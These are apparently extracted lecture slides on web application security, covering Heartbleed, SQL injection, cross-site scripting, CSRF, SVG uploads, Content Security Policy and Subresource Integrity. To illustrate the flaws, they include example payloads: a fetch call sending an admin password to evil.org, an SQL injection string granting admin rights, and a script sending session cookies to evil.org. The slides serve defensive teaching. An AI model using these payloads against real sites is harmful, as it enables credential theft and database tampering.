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Lecture ground rules

• We color technologies, algorithms, etc. for your convenience
• State-of-the-art tech, no known vulnerabilities ✔

• This is generally safe to use!

• Outdated tech, known issues, covered for demonstration purposes ✘
• You should not use this!

• Coloring provides a very quick-and-dirty categorization for you
• Want to know why? That’s what the lecture is for 🙂
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Recall from December



Meet the players
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Recall from last time



Last time:
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This time:
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Simple solution?
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This time:
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• Any client you encounter might be malicious!
• Sadly, attackers don't tend to state their intentions...



So, what can Eve do?
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• Eve sends us malicious data instead of benign data
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Dealing with data

• We need to …
• … handle benign data correctly.

• i.e.: the application needs to work

• This is what everyone tries to get right…

• … handle any data safely.
• Even if the client sends unexpected data!

• This is what often gets overlooked…
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Dealing with data – Example: SSL

www.iaik.tugraz.at

10

X
K

C
D

 #1
3

5
4

 "H
eartb

leed
 Exp

lan
atio

n
" b

y R
an

d
all M

u
n

ro
e (xkcd

.co
m

), u
sed

 u
n

d
er C

C
 B

Y
-N

C
 2

.5



Dealing with data – Example: SSL
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Dealing with data – OpenSSL Heartbleed
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Explicit check
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https://github.com/openssl/openssl/commit/96db9023b881d7cd9f379b0c154650d6c108e9a3


Dealing with data – Example: JSON
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JavaScript Object Notation

• Data serialization format

• Extremely simple and widely supported

• Human-readable
• Syntax is a subset of JavaScript literal notation

• Limited set of data types
• Number, String, Boolean, Array, Object, null
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evaluate JavaScript expression
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This works for actual JSON objects
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This allows any JavaScript code in the input!

{

"itemId": 18982,

"quantity": 25,

"paymentMethod": "paypal",

"foo": fetch('https://evil.org/?data='+btoa(getAdminPassword()))

}
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JSON (and nothing else)
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Structured Query Language

• Most widely-used database language

• Encodes instructions to a database engine
• Human-readable text

• Instructions are a simple string
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✔
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🤔

{

"itemId": 18982,

"quantity": 25,

"paymentMethod": "\",''); UPDATE accounts SET admin=1 WHERE user=\"Eve\"; --"

}



SQL injection
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INSERT INTO order_log (itemId, qty, method, userIp) VALUES

(itemId, qty, "paymentMethod", "getRemoteAddress()")

INSERT INTO order_log (itemId, qty, method, userIp) VALUES

(18982, 25, "",''); UPDATE accounts SET admin=1 WHERE user="Eve"; --, 

"getRemoteAddress()")
Bogus values to pad 
original statement

Malicious statement Turn rest of original 
statement into comment

"paymentMethod": "\",''); UPDATE accounts SET admin=1 WHERE user=\"Eve\"; --"



SQL Injection – Countermeasures

• String sanitization
• Look at user input and remove any "dangerous" sequences
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✘

",''); UPDATE accounts SET admin=1 WHERE user="Eve"; --

\",\'\'); UPDATE accounts SET admin=1 WHERE user=\"Eve\"; --



SQL Injection – Countermeasures

• String sanitization
• Look at user input and remove any "dangerous" sequences

• Problems:
• It's hard to predict every "potentially dangerous" value

• Strings are complicated…

• Easy to mess up and miss sanitization once
• One mess-up is all it takes…
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✘



SQL Injection – Countermeasures

• Parametrized/Prepared Statements
• Semantically separate instructions and data
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Parse the instructions from this fixed string first

Placeholders

Run the prepared statement, filling in this data

✔



Injection – Other variants

• These issues arise whenever you communicate in strings
• LDAP, XPath, SOAP, …

• The same (or similar) countermeasures apply here, too!

• What else communicates in strings?
• (Dynamic) web pages with the browser…
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🤔

To: Unsuspecting Victim

Message:

Sorry. Nothing personal, kid.

<script>fetch('https://evil.org/?cookie='+document.cookie);</script>
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So, what happens when the victim reads this message?



Same-Origin Policy

• Very powerful safeguard built into all modern browsers

• Scripts cannot access data from different origins
• Origin := scheme (http/https) + host + port

• This prevents evil.org from reading genuine.com's data!
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Recall from last time
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This is a script being sent from the victim website's origin!



Cross (X)-Site Scripting

• Things need to have acronyms in CS (computer science)
• This keeps them nice and difficult to understand

• "CSS" was already taken, so "XSS" it is
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Cross (X)-Site Scripting

• Tricking the victim website into sending JavaScript to the target

• This JavaScript now "bypasses" same-origin protections!
• Read session cookies

• Request (and read the response from) authenticated resources

• Read passwords as they're being entered

• Send a copy of itself to further victims

• And many, many, many more…
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Cross-Site Scripting – Countermeasures

• String sanitization

• Semantically separate instructions and data
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✔
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• Semantically separate instructions and data
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✔

Not interpreted as HTML!✔
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Cross-Site Scripting – Gotchas
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🤔

Other ways to make the same mistake:
• Modifying .innerHTML
• Using jQuery .html()
• Using jQuery $()
• Probably hundreds of others in various frameworks…

Never set HTML to anything except a static string!

✘
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Not interpreted as HTML!✔
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But this is provided by the current user?



What can Eve do?

• Navigate Bob to arbitrary URLs

• Cross-Site Request Forgery
• Significantly harder with the SameSite=Lax default

• With the None default, forging POST forms was possible

• Badly-designed websites might still be vulnerable
• Never let GET have side effects!

• Never trust URL parameters, even from trusted users!
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Recall from last time

😉
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https://genuine.org/?q=%3Cscript%3EstealAllTheData()%3B%3C%2Fscript%3E



Now for something harmless...
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Surely letting the user upload a logo is harmless, right…?



Scalable Vector Graphics

• Vector Graphics: image based on shapes, rather than pixels
• Infinitely scalable without artifacts!

• SVG is a widely-used standard for specifying vector graphics
• Based on XML
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Now for something harmless...
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Surely letting the user upload a logo is harmless, right…?
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(╯°□°)╯︵┻━┻



Scalable Vector Graphics

• Vector Graphics: image based on shapes, rather than pixels
• Infinitely scalable without artifacts!

• SVG is a widely-used standard for specifying vector graphics
• Based on XML

• This image format can run JavaScript for some reason…
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XSS – Defense-in-Depth
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Content Security Policy

• Defense-in-depth measure

• Server voluntarily constrains itself

• Whitelist-based filtering of:
• JavaScript

• Stylesheets

• Embedded frames

• Images

• fetch and other programmatic data retrieval

• and more…
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✔



• Example:
Content-Security-Policy: default-src 'self'; script-src 'self' 

https://static.example.org; frame-src 'none'; object-src 'none'

• One or more directives restricting certain features
• default-src: Fallback for any category not explicitly specified

• 'self': May only be loaded from URLs on the current origin
• Beware of user-uploaded files!

• script-src: What JavaScript is allowed to run on the page
• Inline scripts are disabled by default

• Avoid blanket whitelists of public script repositories

• frame-src, object-src: If we don't use embeds, there's no upside to allowing them
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Content Security Policy ✔
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https://csp-evaluator.withgoogle.com/

https://csp-evaluator.withgoogle.com/


• Web protections work based on isolation between origins

• We can make this work for us
• Origin A: Secure data

• Session cookies

• Authenticated APIs

• Anything else that's interesting

• Origin B: Untrusted data
• User-submitted files

• Anything else that seems shady

• CSP can then explicitly whitelist Origin B for images, but not for scripts…
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Strict Origin Separation ✔
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Strict Origin Separation ✔

Current CSP for github.com front page

User-generated content is relegated to the githubusercontent.com origin(s)…

…so even if you somehow sneak a <script> in there it can't run JavaScript from your repo!



SubResource Integrity

• What will happen if the upstream gets compromised?
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✔



SubResource Integrity

• Embedded hash digest of expected script file

• Compromised upstream script will not be loaded
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✔

https://www.srihash.org/
generate SRI for any  third-party script:

https://www.srihash.org/


SubResource Integrity

• Embedded hash digest of expected script file

• Compromised upstream script will not be loaded

• Include the SRI tag in a CSP whitelist:
script-src 'sha384-Ycc65AUr4cWdWBXQmrYQgmkdrqBXbI9FANKo
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✔



WebDev grab bag
Some other common problems I want to fit in here somehow…
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Hey, please run this 
program while displaying 
the website to the user.

Thanks!

Sure!

Recall from last time – How JavaScript works



Eve is not using the UI you designed!

• JavaScript is voluntary
• Eve does not need to run your JavaScript

• Any checks placed in your JavaScript code are irrelevant to Eve

• Examples:
• Admin features only hidden client-side, without server-side checks

• Order quantity limits enforced by the UI only

• Eve can send any requests, in any order, with any parameters!
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Eve might be pressing the buttons for Bob!

• Do any of your UX flows involve sending an out-of-band message?
• Common example: “please confirm the password reset” email

• The person pushing the buttons ≠ the person reading your email

• Real-world example:
• Eve clicks “Reset Password” and chooses a new password

• Bob gets a non-descriptive “Click to activate your new password” message

• Bob clicks the link, not thinking much of it

• Eve now has access to the account
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Try to dig into what your system is doing…

• Web frameworks should be misuse resistant
• They often aren’t…

• If your framework provides a feature, how does it do it?
• What guarantees does it provide?

• How does it indicate unexpected scenarios? Make sure you check!
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Try to dig into what your system is doing…

• Web frameworks should be misuse resistant
• They often aren’t…

• Real-world example:
• Node.js web server framework providing session authentication

• Session framework sets “logged-in-as”: “nobody” on failure

• API handlers do not check this value
• Maybe the developer assumed that an authentication failure would throw?

• Result: anyone can request any API path…

• Consider potential attacks and try them! (“red teaming”)
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Design Securely

• You are human
• You will make mistakes

• Try to make it harder to make mistakes
• Isolate critical functionality and keep it simple to review

• Design security-relevant code to be misuse-resistant
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Topics for next week?

• Privacy & Metadata

• VPN

• WebAuthN

• Toolchain (Wiresharp, nmap, DevTools, …)

• Anything else you want to hear about?
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